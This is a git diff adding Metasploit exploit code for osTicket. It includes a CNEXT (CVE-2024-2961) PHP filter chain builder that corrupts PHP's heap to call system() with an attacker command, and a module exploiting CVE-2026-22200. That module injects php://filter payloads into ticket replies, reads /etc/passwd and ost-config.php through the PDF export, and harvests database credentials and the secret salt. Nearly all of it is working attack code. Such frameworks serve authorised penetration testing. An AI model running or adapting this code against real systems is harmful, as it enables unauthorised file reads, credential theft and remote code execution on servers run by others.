break unless end_idx + + stream_data = pdf_data[data_start...end_idx].sub(/\r?\n?\z/, '') + + begin + streams << Zlib::Inflate.inflate(stream_data) + rescue Zlib::DataError, Zlib::BufError + streams << stream_data + end + + pos = end_idx + 9 + end + + streams + end + + # Extracts file data from a stream containing BMP pixel data. + # Looks for the ISO-2022-KR escape sequence marker (\x1b$)C), + # strips null bytes, and decodes (base64 + optional zlib). + # + # @param raw_data [String] raw stream bytes + # @return [String, nil] extracted file content, or nil + def extract_data_from_bmp_stream(raw_data) + marker = "\x1b$)C".b + idx = raw_data.index(marker) + unless idx + # Not a BMP stream with our marker - this is expected for most PDF streams + return nil + end + + vprint_status("extract_data_from_bmp_stream: ISO-2022-KR marker found at offset #{idx} in #{raw_data.length}-byte stream") + data = raw_data[(idx + marker.length)..].gsub("\x00".b, ''.b) + if data.empty? + vprint_warning('extract_data_from_bmp_stream: No data after marker (empty after null-strip)') + return nil + end + vprint_status("extract_data_from_bmp_stream: #{data.length} bytes after marker (nulls stripped)") + + # Add this block here: Preview the data to see if it's base64 or plain text + preview_len = 96 + preview = data[0, preview_len] + vprint_status("First #{preview_len} bytes of data after marker and null-strip:") + vprint_status(" ascii: #{preview.gsub(/[^\x20-\x7e]/, '.').inspect}") + vprint_status(" hex: #{preview.unpack1('H*').scan(/../).join(' ')}") + + # Add this: Check if it looks like base64 + def looks_like_base64?(str) + return false if str.length < 12 || str.length % 4 != 0 + cleaned = str.tr('A-Za-z0-9+/=', '') + cleaned.empty? + end + + vprint_status("Data looks like base64? #{looks_like_base64?(data)}") + + # Conditional processing based on whether it's base64 + if looks_like_base64?(data) + b64_decoded = decode_b64_permissive(data) + vprint_status("extract_data_from_bmp_stream: b64 decoded=#{b64_decoded.length} bytes") + + # Preview decoded if successful + if b64_decoded.length > 0 + dec_preview = b64_decoded[0, 96] + vprint_status("First 96 bytes of b64_decoded:") + vprint_status(" ascii: #{dec_preview.gsub(/[^\x20-\x7e]/, '.').inspect}") + vprint_status(" hex: #{dec_preview.unpack1('H*').scan(/../).join(' ')}") + end + + decompressed = decompress_raw_deflate(b64_decoded) + vprint_status("extract_data_from_bmp_stream: zlib decompressed=#{decompressed.length} bytes") + + # Preview decompressed if any + if decompressed.length > 0 + zlib_preview = decompressed[0, 96] + vprint_status("First 96 bytes of decompressed:") + vprint_status(" ascii: #{zlib_preview.gsub(/[^\x20-\x7e]/, '.').inspect}") + vprint_status(" hex: #{zlib_preview.unpack1('H*').scan(/../).join(' ')}") + end + + return decompressed unless decompressed.empty? + return b64_decoded unless b64_decoded.empty? + else + # For plain, preview the data itself + vprint_status("Treating as plain (non-base64) - preview:") + vprint_status(" ascii: #{data[0, 96].gsub(/[^\x20-\x7e]/, '.').inspect}") + vprint_status(" hex: #{data[0, 96].unpack1('H*').scan(/../).join(' ')}") + end + data + end + + # Best-effort base64 decoding in 4-byte blocks. Falls back to cleaning + # the input as printable ASCII if decoded output is below min_bytes + # (indicating the data was probably plaintext, not base64). + # + # @param data [String] raw bytes to decode + # @param min_bytes [Integer] minimum decoded length to consider valid + # @return [String] decoded bytes or cleaned plaintext + def decode_b64_permissive(data, min_bytes = 12) + data = data.strip + decoded = ''.b + i = 0 + + while i < data.length + block = data[i, 4] + # Stop at non-base64 characters (matches Python's validate=True behavior) + break unless block.match?(/\A[A-Za-z0-9+\/=]+\z/) + begin + decoded << Rex::Text.decode_base64(block) + rescue StandardError + break + end + i += 4 + end + + decoded.length < min_bytes ? clean_unprintable_bytes(data) : decoded + end + + # Decompresses raw deflate data (no zlib header) in chunks, tolerating + # truncated or corrupted streams. + # + # @param data [String] raw deflate-compressed bytes + # @param chunk_size [Integer] decompression chunk size + # @return [String] decompressed bytes (may be partial) + def decompress_raw_deflate(data, chunk_size = 1024) + return ''.b if data.nil? || data.empty? + + inflater = Zlib::Inflate.new(-Zlib::MAX_WBITS) + output = ''.b + i = 0 + + while i < data.length + begin + output << inflater.inflate(data[i, chunk_size]) + rescue Zlib::DataError, Zlib::BufError + output << inflater.flush_next_out rescue nil + break + end + i += chunk_size + end + + output << inflater.finish rescue nil + inflater.close + output + end + + # Strips non-printable ASCII characters, keeping 0x20-0x7E and whitespace. + # + # @param data [String] raw bytes + # @return [String] cleaned ASCII bytes + def clean_unprintable_bytes(data) + data.encode('ASCII', invalid: :replace, undef: :replace, replace: '') + .gsub(/[^\x20-\x7E\n\r\t]/, '').b + end + + # ───────────────────────────────────────────────────────── + # CNEXT: Memory Layout Analysis + # ───────────────────────────────────────────────────────── + + # Parses /proc/self/maps content into structured memory region entries. + # + # @param maps_content [String] raw contents of /proc/self/maps + # @return [Array] array of { start:, stop:, perms:, path:, size: } + def cnext_parse_proc_maps(maps_content) + pattern = /^([0-9a-f]+)-([0-9a-f]+)\s+([-rwxps]{4})\s+\S+\s+\S+\s+\S+\s*(.*)/ + regions = [] + + maps_content.each_line do |line| + match = line.strip.match(pattern) + next unless match + + start_addr = match[1].to_i(16) + stop_addr = match[2].to_i(16) + path = match[4].strip + path = '' unless path.include?('/') || path.include?('[') + + regions << { + start: start_addr, + stop: stop_addr, + perms: match[3], + path: path, + size: stop_addr - start_addr + } + end + + regions + end + + # Finds the first memory region whose path contains any of the given names. + # + # @param regions [Array] parsed memory regions + # @param names [Array] substrings to match against region paths + # @return [Hash, nil] matching region or nil + def cnext_find_region(regions, *names) + regions.find { |r| names.any? { |n| r[:path].include?(n) } } + end + + # Locates PHP's main zend_mm_heap in the process memory map. + # Searches for anonymous RW regions >= 2MB aligned on 2MB boundary. + # + # @param regions [Array] parsed memory regions + # @return [Integer, nil] heap address (base of zend_mm_heap) + def cnext_find_main_heap(regions) + candidates = regions.select do |r| + r[:perms] == 'rw-p' && + r[:size] >= CNEXT_HEAP_SIZE && + (r[:stop] & (CNEXT_HEAP_SIZE - 1)).zero? && + (r[:path].empty? || r[:path] == '[anon:zend_alloc]') + end + return nil if candidates.empty? + + # Heap is at the bottom of the region + candidates.last[:stop] - CNEXT_HEAP_SIZE + 0x40 + end + + # ───────────────────────────────────────────────────────── + # CNEXT: ELF Parsing & Libc Symbol Resolution + # ───────────────────────────────────────────────────────── + + # Extracts the GNU Build ID from ELF binary data. + # + # @param elf_data [String] raw ELF binary data (may be partial) + # @return [String, nil] hex-encoded build ID, or nil + def cnext_extract_build_id(elf_data) + gnu_name = "GNU\x00".b + pos = 0 + + while (name_offset = elf_data.index(gnu_name, pos)) + header_offset = name_offset - 12 + if header_offset < 0 + pos = name_offset + 1 + next + end + + n_namesz, n_descsz, n_type = elf_data[header_offset, 12].unpack('VVV') rescue nil + unless n_namesz + pos = name_offset + 1 + next + end + + if n_namesz == 4 && n_type == 3 # NT_GNU_BUILD_ID + build_id_data = elf_data[name_offset + n_namesz, n_descsz] + return build_id_data.unpack1('H*') if build_id_data + end + + pos = name_offset + 1 + end + + nil + end + + # Parses an ELF64 little-endian binary's .dynsym section to resolve symbols. + # + # @param elf_data [String] full ELF binary data + # @param symbol_names [Array] symbol names to look up + # @return [Hash{String => Integer}] symbol name to offset within ELF + def cnext_parse_elf_symbols(elf_data, *symbol_names) + return {} if elf_data.nil? || elf_data.length < 64 + return {} unless elf_data[0, 4] == "\x7fELF" + return {} unless elf_data[4].ord == 2 && elf_data[5].ord == 1 # ELF64 LE + + e_shoff = elf_data[40, 8].unpack1('Q<') + e_shentsize = elf_data[58, 2].unpack1('v') + e_shnum = elf_data[60, 2].unpack1('v') + e_shstrndx = elf_data[62, 2].unpack1('v') + + return {} if e_shoff.zero? || e_shnum.zero? + return {} if e_shoff + e_shnum * e_shentsize > elf_data.length + + # Section header string table + shstrtab_hdr = elf_data[e_shoff + e_shstrndx * e_shentsize, e_shentsize] + shstrtab_off = shstrtab_hdr[24, 8].unpack1('Q<') + shstrtab_sz = shstrtab_hdr[32, 8].unpack1('Q<') + shstrtab = elf_data[shstrtab_off, shstrtab_sz] + + dynsym_hdr = dynstr_hdr = nil + e_shnum.times do |i| + sh = elf_data[e_shoff + i * e_shentsize, e_shentsize] + sh_name_idx = sh[0, 4].unpack1('V') + sh_type = sh[4, 4].unpack1('V') + name = shstrtab[sh_name_idx..].to_s.split("\x00", 2).first + + dynsym_hdr = sh if name == '.dynsym' && sh_type == 11 + dynstr_hdr = sh if name == '.dynstr' && sh_type == 3 + end + return {} unless dynsym_hdr && dynstr_hdr + + dynsym_off = dynsym_hdr[24, 8].unpack1('Q<') + dynsym_sz = dynsym_hdr[32, 8].unpack1('Q<') + dynsym_ent = dynsym_hdr[56, 8].unpack1('Q<') + dynsym_ent = 24 if dynsym_ent.zero? + + dynstr_off = dynstr_hdr[24, 8].unpack1('Q<') + dynstr_sz = dynstr_hdr[32, 8].unpack1('Q<') + dynstr = elf_data[dynstr_off, dynstr_sz] + + results = {} + (dynsym_sz / dynsym_ent).times do |i| + sym = elf_data[dynsym_off + i * dynsym_ent, dynsym_ent] + st_name = sym[0, 4].unpack1('V') + st_value = sym[8, 8].unpack1('Q<') + name = dynstr[st_name..].to_s.split("\x00", 2).first + + results[name] = st_value if symbol_names.include?(name) && st_value != 0 + end + + results + end + + # Resolves __libc_malloc, __libc_system, and __libc_realloc from libc ELF data. + # + # @param libc_data [String] full libc ELF binary + # @param libc_base [Integer] runtime base address of libc + # @return [Hash, nil] { malloc:, system:, realloc: } absolute addresses + def cnext_resolve_libc_offsets(libc_data, libc_base) + symbols = cnext_parse_elf_symbols( + libc_data, + '__libc_malloc', '__libc_system', '__libc_realloc' + ) + + missing = %w[__libc_malloc __libc_system __libc_realloc] - symbols.keys + return nil unless missing.empty? + + { + malloc: libc_base + symbols['__libc_malloc'], + system: libc_base + symbols['__libc_system'], + realloc: libc_base + symbols['__libc_realloc'] + } + end + + # ───────────────────────────────────────────────────────── + # CNEXT: Encoding Helpers + # ───────────────────────────────────────────────────────── + + # Wraps data in HTTP chunked transfer-encoding format. If size is given, + # the chunk header is zero-padded to make the total exactly `size` bytes. + # + # @param data [String] chunk body + # @param size [Integer, nil] target total size + # @return [String] chunked representation + def cnext_chunked_chunk(data, size = nil) + size = data.length + 8 if size.nil? + keep = data.length + 2 # two \n delimiters + hex_len = data.length.to_s(16).rjust(size - keep, '0') + "#{hex_len}\n".b + data + "\n".b + end + + # Creates a 0x8000-byte bucket for use with the dechunk filter. + # + # @param data [String] payload data + # @return [String] compressed bucket + def cnext_compressed_bucket(data) + cnext_chunked_chunk(data, 0x8000) + end + + # Emulates PHP's quoted-printable-encode: every byte becomes =XX. + # + # @param data [String] binary data + # @return [String] QP-encoded representation + def cnext_qpe(data) + data.bytes.map { |b| format('=%02X', b) }.join.b + end + + # Packs 64-bit pointers through the CNEXT encoding pipeline + # (QP encode -> triple chunked -> compressed bucket). + # + # @param ptrs [Array] 64-bit pointer values + # @param size [Integer, nil] expected total byte size + # @return [String] encoded pointer bucket + def cnext_ptr_bucket(*ptrs, size: nil) + if size + raise ArgumentError, "ptr count mismatch" unless ptrs.length * 8 == size + end + + bucket = ptrs.pack('Q<*') + bucket = cnext_qpe(bucket) + bucket = cnext_chunked_chunk(bucket) + bucket = cnext_chunked_chunk(bucket) + bucket = cnext_chunked_chunk(bucket) + cnext_compressed_bucket(bucket) + end + + # Compresses data for PHP's zlib.inflate filter (raw deflate, no header). + # + # @param data [String] data to compress + # @return [String] raw deflate data + def cnext_compress(data) + Zlib::Deflate.deflate(data, 9)[2..-5] + end + + # ───────────────────────────────────────────────────────── + # CNEXT: Exploit Path Builder + # ───────────────────────────────────────────────────────── + + # Builds the complete CNEXT PHP filter chain URI that exploits + # CVE-2024-2961 to overwrite zend_mm_heap and achieve RCE. + # + # The exploit works in 5 steps: + # Step 0: Decompress and dechunk to set up heap allocations + # Step 1: Allocate chunks to reverse the freelist order + # Step 2: Write a fake freelist pointer into a chunk + # Step 3: Trigger iconv buffer overflow (UTF-8 -> ISO-2022-CN-EXT) + # Step 4: Allocate at controlled address, overwrite zend_mm_heap + # free_slot[] and custom_heap to redirect efree -> system() + # + # @param command [String] shell command to execute + # @param heap_addr [Integer] address of PHP's zend_mm_heap + # @param libc_addrs [Hash] { malloc:, system:, realloc: } absolute addresses + # @param pad_count [Integer] padding chunk count (default 20) + # @return [String] the php://filter/... data: URI + def cnext_build_exploit_path(command, heap_addr, libc_addrs, pad_count = 20) + addr_emalloc = libc_addrs[:malloc] + addr_efree = libc_addrs[:system] # efree -> system() for RCE + addr_erealloc = libc_addrs[:realloc] + + addr_free_slot = heap_addr + CNEXT_OFFSET_FREE_SLOT + addr_custom_heap = heap_addr + CNEXT_OFFSET_CUSTOM_HEAP + addr_fake_bin = addr_free_slot - 0x10 + + cs = CNEXT_CHUNK_SIZE + + # ── Pad: fill heap to ensure contiguous ordered allocations ── + pad_size = cs - 0x18 + pad = ("\x00" * pad_size).b + pad = cnext_chunked_chunk(pad, pad.length + 6) + pad = cnext_chunked_chunk(pad, pad.length + 6) + pad = cnext_chunked_chunk(pad, pad.length + 6) + pad = cnext_compressed_bucket(pad) + + # ── Step 1: Reverse freelist order ── + step1 = "\x00".b + step1 = cnext_chunked_chunk(step1) + step1 = cnext_chunked_chunk(step1) + step1 = cnext_chunked_chunk(step1, cs) + step1 = cnext_compressed_bucket(step1) + + # ── Step 2: Place fake freelist pointer ── + step2_size = 0x48 + step2 = ("\x00" * (step2_size + 8)).b + step2 = cnext_chunked_chunk(step2, cs) + step2 = cnext_chunked_chunk(step2) + step2 = cnext_compressed_bucket(step2) + + # "0\n" prefix protects this chunk from ISO-2022-CN-EXT conversion + step2_write_ptr = "0\n".b.ljust(step2_size, "\x00".b) + [addr_fake_bin].pack('Q<') + step2_write_ptr = cnext_chunked_chunk(step2_write_ptr, cs) + step2_write_ptr = cnext_chunked_chunk(step2_write_ptr) + step2_write_ptr = cnext_compressed_bucket(step2_write_ptr) + + # ── Step 3: Trigger iconv buffer overflow ── + step3 = ("\x00" * cs).b + step3 = cnext_chunked_chunk(step3) + step3 = cnext_chunked_chunk(step3) + step3 = cnext_chunked_chunk(step3) + step3 = cnext_compressed_bucket(step3) + + step3_overflow = ("\x00" * (cs - CNEXT_BUG.length) + CNEXT_BUG).b + step3_overflow = cnext_chunked_chunk(step3_overflow) + step3_overflow = cnext_chunked_chunk(step3_overflow) + step3_overflow = cnext_chunked_chunk(step3_overflow) + step3_overflow = cnext_compressed_bucket(step3_overflow) + + # ── Step 4: Overwrite zend_mm_heap ── + step4 = ("=00" + "\x00" * (cs - 1)).b + step4 = cnext_chunked_chunk(step4) + step4 = cnext_chunked_chunk(step4) + step4 = cnext_chunked_chunk(step4) + step4 = cnext_compressed_bucket(step4) + + # Overwrite free_slot[] - allocated 0x10 before data, hence two fillers + step4_pwn = cnext_ptr_bucket( + 0x200000, 0, # filler (0x10 before actual free_slot) + 0, 0, # free_slot[0], free_slot[1] + addr_custom_heap, # free_slot[2] -> next alloc lands at custom_heap + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + heap_addr, # free_slot[17] (offset 0x140) + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + size: cs + ) + + # Overwrite custom_heap function pointers + step4_custom_heap = cnext_ptr_bucket( + addr_emalloc, addr_efree, addr_erealloc, + size: 0x18 + ) + + # Command string + use_custom_heap activation + step4_uch_size = 0x140 + cmd_str = "kill -9 $PPID; #{command}\x00".b + raise ArgumentError, "Command too long (#{cmd_str.length} > #{step4_uch_size})" if cmd_str.length > step4_uch_size + + cmd_str = cmd_str.ljust(step4_uch_size, "\x00".b) + step4_uch = cnext_qpe(cmd_str) + step4_uch = cnext_chunked_chunk(step4_uch) + step4_uch = cnext_chunked_chunk(step4_uch) + step4_uch = cnext_chunked_chunk(step4_uch) + step4_uch = cnext_compressed_bucket(step4_uch) + + # ── Assemble all pages ── + pages = ''.b + pages << step4 * 3 + pages << step4_pwn + pages << step4_custom_heap + pages << step4_uch + pages << step3_overflow + pages << pad * pad_count + pages << step1 * 3 + pages << step2_write_ptr + pages << step2 * 2 + + # Double-compress and encode as data: URI + resource = cnext_compress(cnext_compress(pages)) + resource_b64 = Rex::Text.encode_base64(resource) + + filters = [ + 'zlib.inflate', + 'zlib.inflate', + 'dechunk', 'convert.iconv.L1.L1', # Step 0 + 'dechunk', 'convert.iconv.L1.L1', # Step 1 + 'dechunk', 'convert.iconv.L1.L1', # Step 2 + 'dechunk', 'convert.iconv.UTF-8.ISO-2022-CN-EXT', # Step 3 + 'convert.quoted-printable-decode', 'convert.iconv.L1.L1' # Step 4 + ] + + "php://filter/read=#{filters.join('|')}/resource=data:text/plain;base64,#{resource_b64}" + end + + private + + # Detects the reply textarea field name from the ticket page HTML. + # + # @param html [String] ticket page HTML + # @param prefix [String] portal prefix ('/scp' or '') + # @return [String] textarea field name + def detect_reply_textarea(html, prefix) + [ + /name="([^"]+)"[^>]*id="response"/i, + /id="response"[^>]*name="([^"]+)"/i, + /name="([^"]+)"[^>]*id="message"/i, + /id="message"[^>]*name="([^"]+)"/i, + /name="(response)"/ + ].each do |pattern| + match = html.match(pattern) + return match[1] if match + end + prefix == '/scp' ? 'response' : 'message' + end + + end +end diff --git a/modules/auxiliary/gather/osticket_arbitrary_file_read.rb b/modules/auxiliary/gather/osticket_arbitrary_file_read.rb new file mode 100644 index 0000000000000..164a36e9bf2d7 --- /dev/null +++ b/modules/auxiliary/gather/osticket_arbitrary_file_read.rb @@ -0,0 +1,425 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Osticket + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'osTicket Arbitrary File Read via PHP Filter Chains in mPDF', + 'Description' => %q{ + This module exploits an arbitrary file read vulnerability in osTicket + (CVE-2026-22200). The vulnerability exists in osTicket's PDF export + functionality which uses mPDF. By injecting a specially crafted HTML payload + containing PHP filter chain URIs into a ticket reply, an attacker can read + arbitrary files from the server when the ticket is exported to PDF. + + The PHP filter chain constructs a BMP image header that is prepended to the + target file contents. When mPDF renders the ticket as a PDF, it processes + the php://filter URI, reads the target file, and embeds it as a bitmap image + in the resulting PDF. The module then extracts the file contents from the PDF. + + Authentication is required. The module supports both staff panel (/scp/) and + client portal login. An existing ticket number is also required. + + Default files extracted are /etc/passwd and include/ost-config.php. The + osTicket config file contains database credentials and the SECRET_SALT value. + }, + 'Author' => [ + 'HORIZON3.ai Team', # Vulnerability discovery and PoC + 'Arkaprabha Chakraborty <@t1nt1nsn0wy>' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-22200'], + ['URL', 'https://horizon3.ai/attack-research/attack-blogs/ticket-to-shell-exploiting-php-filters-and-cnext-in-osticket-cve-2026-22200'], + ['URL', 'https://github.com/horizon3ai/CVE-2026-22200/tree/main'] + ], + 'DisclosureDate' => '2026-01-13', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + }, + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Base path to osTicket installation', '/']), + OptString.new('USERNAME', [true, 'osTicket username or email address']), + OptString.new('PASSWORD', [true, 'osTicket password']), + OptString.new('TICKET_NUMBER', [true, 'Ticket number to use for payload injection (e.g. 978554)']), + OptString.new('TICKET_ID', [false, 'Internal ticket ID (auto-detected if not set)']), + OptEnum.new('LOGIN_PORTAL', [true, 'Login portal to use', 'auto', ['auto', 'scp', 'client']]), + OptString.new('FILES', [ + true, + 'Comma-separated list of files to read. Append :b64 or :b64zlib for encoding (e.g. /proc/self/maps:b64zlib)', + '/etc/passwd,include/ost-config.php' + ]), + OptBool.new('STORE_LOOT', [false, 'Store extracted files as loot', true]), + OptInt.new('MAX_REDIRECTS', [false, 'Maximum number of HTTP redirect hops to follow', 3]), + OptInt.new('MAX_TICKET_ID', [false, 'Upper bound for brute-force ticket ID search', 20]) + ] + ) + end + + def target_uri + datastore['TARGETURI'] + end + + def check + auto_set_vhost + check_uri = normalize_uri(target_uri) + print_status("check: Sending GET to #{check_uri} (RHOST=#{rhost}, RPORT=#{rport}, SSL=#{datastore['SSL']}, VHOST=#{datastore['VHOST']})") + begin + res = send_request_cgi( + 'method' => 'GET', + 'uri' => check_uri + ) + rescue ::Rex::ConnectionError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Errno::ETIMEDOUT => e + print_error("check: Connection error: #{e.class} - #{e.message}") + return Exploit::CheckCode::Unknown("Could not connect to target: #{e.message}") + end + + unless res + print_error("check: send_request_cgi returned nil (no response / timeout)") + return Exploit::CheckCode::Unknown('Could not connect to target (nil response)') + end + + print_status("check: Got response code=#{res.code}, Content-Type=#{res.headers['Content-Type']}, body=#{res.body.to_s.length} bytes") + + # Follow 301/302 redirects (e.g. / -> /index.php) + redirect_limit = datastore['MAX_REDIRECTS'] + prev_location = nil + while [301, 302].include?(res.code) && redirect_limit > 0 + location = res.headers['Location'] + break unless location + + print_status("check: Location header: #{location}") + + # Detect redirect loop (same Location repeated) + if location == prev_location + print_warning("check: Redirect loop detected, stopping") + break + end + prev_location = location + + if location.start_with?('http') + parsed = URI.parse(location) + redirect_uri = parsed.path.empty? ? '/' : parsed.path + # If redirecting to a different host, set VHOST + if parsed.host && parsed.host != rhost && datastore['VHOST'].to_s.empty? + print_status("check: Redirect points to #{parsed.host}, setting VHOST") + datastore['VHOST'] = parsed.host + end + # If redirecting to HTTPS or a different port, update connection parameters + url_ssl = parsed.scheme.downcase == 'https' + if datastore['SSL'] != url_ssl + datastore['SSL'] = url_ssl + disconnect + print_status("check: Switched SSL=#{url_ssl} based on redirect") + end + if parsed.port != datastore['RPORT'] + datastore['RPORT'] = parsed.port + disconnect + print_status("check: Switched RPORT=#{parsed.port} based on redirect") + end + else + redirect_uri = location + end + + print_status("check: Following #{res.code} redirect to #{redirect_uri}") + res = send_request_cgi('method' => 'GET', 'uri' => redirect_uri) + break unless res + + redirect_limit -= 1 + end + + unless is_osticket?(res) + return Exploit::CheckCode::Safe('Target does not appear to be an osTicket installation') + end + + Exploit::CheckCode::Detected('Target appears to be an osTicket installation') + end + + def run + auto_set_vhost + base_uri = target_uri + file_specs = parse_file_specs(datastore['FILES']) + + if file_specs.empty? + fail_with(Failure::BadConfig, 'No files specified in FILES option') + end + + print_status("Target: #{rhost}:#{rport}") + print_status("Files to extract: #{file_specs.map { |f| f[:path] }.join(', ')}") + + # Step 1: Login + print_status('Attempting authentication...') + portal, cookies = do_login(base_uri) + if portal.nil? + fail_with(Failure::NoAccess, "Login failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + end + prefix = portal == 'scp' ? '/scp' : '' + print_good("Authenticated via #{portal} portal") + + # Step 2: Resolve ticket ID + print_status('Locating ticket...') + ticket_id = resolve_ticket_id(base_uri, prefix, cookies) + if ticket_id.nil? + fail_with(Failure::NotFound, "Could not find internal ID for ticket ##{datastore['TICKET_NUMBER']}. Try setting TICKET_ID manually.") + end + print_good("Ticket ##{datastore['TICKET_NUMBER']} has internal ID: #{ticket_id}") + + # Step 3: Generate and submit payload + print_status('Generating PHP filter chain payload...') + payload_html = generate_ticket_payload( + file_specs.map { |f| f[:encoding] == 'plain' ? f[:path] : "#{f[:path]},#{f[:encoding]}" }, + true # is_reply + ) + print_status("Payload generated (#{payload_html.length} bytes for #{file_specs.length} file(s))") + + print_status('Submitting payload as ticket reply...') + reply_ok = submit_ticket_reply(base_uri, prefix, ticket_id, payload_html, cookies) + if reply_ok + print_good('Reply posted successfully') + else + print_warning('Reply submission did not return expected confirmation. Continuing to PDF download...') + end + + # Step 4: Download PDF and extract + print_status('Downloading ticket PDF...') + pdf_data = download_ticket_pdf(base_uri, prefix, ticket_id, cookies, datastore['MAX_REDIRECTS'] || 3) + if pdf_data.nil? + fail_with(Failure::UnexpectedReply, 'Failed to download PDF export') + end + print_good("PDF downloaded (#{pdf_data.length} bytes)") + + # Step 5: Extract files from PDF + print_status('Extracting files from PDF...') + extracted = extract_files_from_pdf(pdf_data) + if extracted.empty? + print_error('No files could be extracted from the PDF') + if datastore['STORE_LOOT'] + path = store_loot('osticket.pdf', 'application/pdf', rhost, pdf_data, 'ticket.pdf', 'Raw PDF export') + print_status("Raw PDF saved as loot: #{path}") + end + return + end + print_good("Extracted #{extracted.length} file(s) from PDF") + + # Step 6: Display and store results + print_line + print_line('=' * 70) + print_line('EXTRACTED FILE CONTENTS') + print_line('=' * 70) + + extracted.each_with_index do |content, i| + file_label = i < file_specs.length ? file_specs[i][:path] : "file_#{i + 1}" + safe_name = file_label.split(',').first.tr('/', '_').sub(/\A_+/, '') + + print_line + print_line("--- [#{file_label}] (#{content.length} bytes) ---") + + begin + text = content.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '') + text.sub!(/[\x00-\x08\x0e-\x1f].*\z/m, '') # Strip trailing BMP padding artifacts + if text.length > 3000 + print_line(text[0, 3000]) + print_line("\n... (truncated)") + else + print_line(text) + end + rescue EncodingError + print_line('[Binary data]') + end + + next unless datastore['STORE_LOOT'] + + path = store_loot( + "osticket.#{safe_name}", + 'application/octet-stream', + rhost, + content, + safe_name, + "File read from osTicket server: #{file_label}" + ) + print_good("Saved to: #{path}") + end + + # Look for key secrets in ost-config.php + report_secrets(extracted) + + print_line + print_good('Exploitation complete') + end + + private + + + def auto_set_vhost + rhosts_val = datastore['RHOSTS'].to_s + return unless rhosts_val.match?(%r{\Ahttps?://}i) + + parsed = URI.parse(rhosts_val) + return unless parsed.host + + # VHOST: set hostname for Host header if it differs from resolved IP + if datastore['VHOST'].to_s.empty? && parsed.host != rhost + datastore['VHOST'] = parsed.host + print_status("Auto-set VHOST=#{parsed.host} from RHOSTS URL") + end + + # RPORT: derive from URL (explicit port or scheme default) + url_port = parsed.port # URI.parse returns 80/443 as defaults for http/https + if url_port && url_port != datastore['RPORT'] + datastore['RPORT'] = url_port + print_status("Auto-set RPORT=#{url_port} from RHOSTS URL") + end + + # SSL: derive from scheme + url_ssl = parsed.scheme.downcase == 'https' + if datastore['SSL'] != url_ssl + datastore['SSL'] = url_ssl + print_status("Auto-set SSL=#{url_ssl} from RHOSTS URL") + end + end + + # Parses the FILES datastore option into an array of { path:, encoding: } hashes. + def parse_file_specs(files_str) + files_str.split(',').map(&:strip).reject(&:empty?).map do |spec| + if spec.include?(':') + path, enc = spec.split(':', 2) + enc = 'plain' unless %w[plain b64 b64zlib].include?(enc) + else + path = spec + enc = 'plain' + end + { path: path, encoding: enc } + end + end + + # Attempts login via the configured portal (auto tries SCP first, then client). + # Returns [portal_type, cookies] or [nil, nil]. + def do_login(base_uri) + portal_pref = datastore['LOGIN_PORTAL'] + print_status("do_login: portal preference=#{portal_pref}, base_uri=#{base_uri}, username=#{datastore['USERNAME']}") + + if portal_pref == 'auto' || portal_pref == 'scp' + print_status('do_login: Trying staff panel (/scp/) login...') + cookies = osticket_login_scp(base_uri, datastore['USERNAME'], datastore['PASSWORD']) + if cookies + print_good("do_login: SCP login succeeded, cookies=#{cookies}") + return ['scp', cookies] + end + print_status('do_login: Staff panel login failed') if portal_pref == 'auto' + end + + if portal_pref == 'auto' || portal_pref == 'client' + print_status('do_login: Trying client portal login...') + cookies = osticket_login_client(base_uri, datastore['USERNAME'], datastore['PASSWORD']) + if cookies + print_good("do_login: Client portal login succeeded, cookies=#{cookies}") + return ['client', cookies] + end + print_status('do_login: Client portal login failed') + end + + print_error('do_login: All login attempts failed') + [nil, nil] + end + + # Resolves the internal ticket ID from the user-provided ticket number or datastore override. + def resolve_ticket_id(base_uri, prefix, cookies) + if datastore['TICKET_ID'] && !datastore['TICKET_ID'].empty? + print_status("resolve_ticket_id: Using manually set TICKET_ID=#{datastore['TICKET_ID']}") + return datastore['TICKET_ID'] + end + + find_ticket_id(base_uri, prefix, datastore['TICKET_NUMBER'], cookies, datastore['MAX_TICKET_ID'] || 20) + end + + # Searches extracted file contents for osTicket configuration secrets and reports them. + def report_secrets(extracted) + secret_patterns = { + 'SECRET_SALT' => /define\('SECRET_SALT','([^']+)'\)/, + 'ADMIN_EMAIL' => /define\('ADMIN_EMAIL','([^']+)'\)/, + 'DBHOST' => /define\('DBHOST','([^']+)'\)/, + 'DBNAME' => /define\('DBNAME','([^']+)'\)/, + 'DBUSER' => /define\('DBUSER','([^']+)'\)/, + 'DBPASS' => /define\('DBPASS','([^']+)'\)/ + } + + found_any = false + + extracted.each do |content| + text = content.encode('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '') rescue next + + secret_patterns.each do |key, pattern| + match = text.match(pattern) + next unless match + + unless found_any + print_line + print_line('=' * 70) + print_line('KEY FINDINGS') + print_line('=' * 70) + found_any = true + end + print_good(" #{key}: #{match[1]}") + + # Report credentials to the database + case key + when 'DBUSER' + # Will be paired with DBPASS below + when 'DBPASS' + db_user_match = text.match(/define\('DBUSER','([^']+)'\)/) + if db_user_match + report_cred(db_user_match[1], match[1], 'osTicket database') + end + when 'ADMIN_EMAIL' + report_note( + host: rhost, + port: rport, + type: 'osticket.admin_email', + data: { email: match[1] } + ) + when 'SECRET_SALT' + report_note( + host: rhost, + port: rport, + type: 'osticket.secret_salt', + data: { salt: match[1] } + ) + end + end + end + end + + # Reports a credential pair to the Metasploit database. + def report_cred(username, password, service_name) + credential_data = { + module_fullname: fullname, + workspace_id: myworkspace_id, + origin_type: :service, + address: rhost, + port: rport, + protocol: 'tcp', + service_name: service_name, + username: username, + private_data: password, + private_type: :password + } + create_credential(credential_data) + rescue StandardError => e + vprint_error("Failed to store credential: #{e}") + end +end 